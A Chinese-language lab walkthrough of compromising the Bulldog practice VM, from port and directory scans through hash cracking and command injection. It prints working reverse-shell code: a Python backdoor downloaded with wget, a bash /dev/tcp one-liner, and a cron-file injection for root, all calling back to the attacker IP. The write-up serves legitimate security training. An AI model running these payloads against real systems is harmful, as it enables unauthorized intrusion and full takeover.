Bulldog 渗透测试实战
Note
- 攻击机 IP:
192.168.43.109(桥接模式) - 靶机 IP:
192.168.43.176 - 本文记录的是早期练习笔记,部分操作已补充更优方案
环境准备
虚拟机需使用 VirtualBox 打开,网络模式设为 桥接模式(Bridge Adapter)。
Warning
Vmware 下可能无法正常联网,建议优先使用 VirtualBox。
信息收集
连通性测试
ping 192.168.43.176
端口扫描
nmap -v -sV -T4 192.168.43.176
扫描结果如下:
| 端口 | 服务 | 版本 |
|---|---|---|
| 23 | ssh | OpenSSH |
| 80 | http | Apache |
| 8080 | http | Apache |
Tip
80 和 8080 端口内容相同,后续只需关注其中一个。
Web 漏洞利用
目录扫描
dirb http://192.168.43.176
发现以下路径:
/admin— 后台登录页面(无可用账号)/dev/shell— 疑似命令执行入口,需要权限/dev— 提示信息,提到数据库不使用 phpMyAdmin
线索发现
访问 /dev 页面后,查看源代码发现一组测试用 hash:

使用 somd5.com 查询解密:

解密结果:
| 用户名 | 邮箱 | 密码 |
|---|---|---|
| nick | [email protected] | bulldog |
| sarah | [email protected] | bulldoglover |
Tip
登录后台时去掉 @ 及之后的域名部分,使用 nick / sarah 作为用户名。
登录成功但权限较低,无法执行关键操作。
命令注入与获取 Shell
利用 /dev/shell
/dev/shell 页面允许执行部分预定义命令:

尝试 命令注入,成功突破限制:

反弹 Shell
直接执行 nc 反弹返回 500 错误,改为上传 Python 后门:
#!/usr/bin/pythonimport socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("192.168.43.109", 1234))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)subprocess.call(["/bin/bash", "-i"])Note
攻击机需处于与靶机同一网段(桥接模式),IP 为 192.168.43.109。
部署步骤:
在 Kali 上开启 Web 服务:
cd /var/www/htmlpython -m SimpleHTTPServer 80在靶机命令执行页下载后门:
pwd && wget http://192.168.43.109/a.pyKali 启动监听:
nc -nvlp 1234在靶机执行后门:
pwd && python a.py

权限提升
方法一:逆向工程提取密码
在 /var/www/ 下发现隐藏目录 ~admin,其中包含两个关键文件:
note— 权限控制器说明customPermissionApp— 二进制文件
对二进制文件使用 strings 提取可读字符:
strings customPermissionApp
提取到关键字符串:SUPERultHimatePASHSWORDyouHCANTget
去掉所有 H 后得到:SUPERultimatePASSWORDyouCANTget
Tip
这个密码用于 SSH 登录 django 用户:
ssh -p 23 [email protected]登录成功后切换 root:
sudo su
方法二:定时任务提权(备选方案)
若无法理解逆向过程,可通过 SUID 文件 + 定时任务 提权:
查找所有者为 root、其他用户可写的文件:
find / -perm -7 ! -type l -ls 2>/dev/null发现
/path/to/AVApplication.py可疑文件:
查找谁在调用该文件:
grep -rnw '/' -e 'AVApplication.py' 2>/dev/null发现是 root 权限的定时任务,每秒执行一次。
向该文件追加反弹 Shell 代码:
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.109",1233));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> AVApplication.pyKali 监听等待连接:
nc -nvlp 1233几秒后即可获得 root shell。
总结
| 阶段 | 关键技术 |
|---|---|
| 信息收集 | Nmap 端口扫描 |
| Web 漏洞 | 目录扫描、Hash 解密、弱口令 |
| 初始访问 | 命令注入、Python 后门反弹 Shell |
| 权限提升 | 二进制逆向 / 定时任务注入 |
Tip
命令注入时也可直接使用以下单行命令反弹,无需上传文件:
echo 'bash -i >& /dev/tcp/192.168.43.109/1234 0>&1' | bash- 端口扫描:
nmap -v -sV -T4 <target> - 目录扫描:
dirb http://<target> - 查找可写文件:
find / -perm -7 ! -type l -ls 2>/dev/null - 定时任务排查:
grep -rnw '/' -e '<file>' 2>/dev/null - 二进制字符提取:
strings <binary>